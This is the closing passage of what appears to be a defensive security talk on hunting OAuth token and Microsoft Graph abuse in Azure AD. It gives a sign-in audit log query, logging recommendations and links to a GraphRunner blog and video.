<td>1288</td>
</tr>
</tbody>
</table>

[target.url: "https://graph.microsoft.com/v1.0/auditLogs/signIns?
%24filter=createdDateTime+gt+2024-01-30T18%3A18%3A54Z+and+createdDateTime+le+2024-01-30T18%3A30%3A12.222223703Z"](https://graph.microsoft.com/v1.0/auditLogs/signIns?%24filter=createdDateTime+gt+2024-01-30T18%3A18%3A54Z+and+createdDateTime+le+2024-01-30T18%3A30%3A12.222223703Z)
Closing Thoughts

Discussed detection/hunting ideas throughout

Many of these actions are viewed “as-designed” capabilities

Once a token is granted into the system, you have a fair amount of leeway within the app and associated permissions granted

Additional logging beyond standard Office 365 and Azure AD Directory should be considered

- Graph API Activity shows promise, particularly for reconnaissance and enumeration
- Non-Interactive Sign-in Logs can be noisy but can provide visibility that won’t be there otherwise

Think about your token refresh strategy and the frequency of login required - CAP
Handy Links

Black Hills Information Security

- https://www.youtube.com/watch?v=o29jzC3deS0 (Video)
- https://www.blackhillsinfosec.com/introducing-graphrunner/ (Blog)

Invictus Blogs


OAuth Flow

Thank You!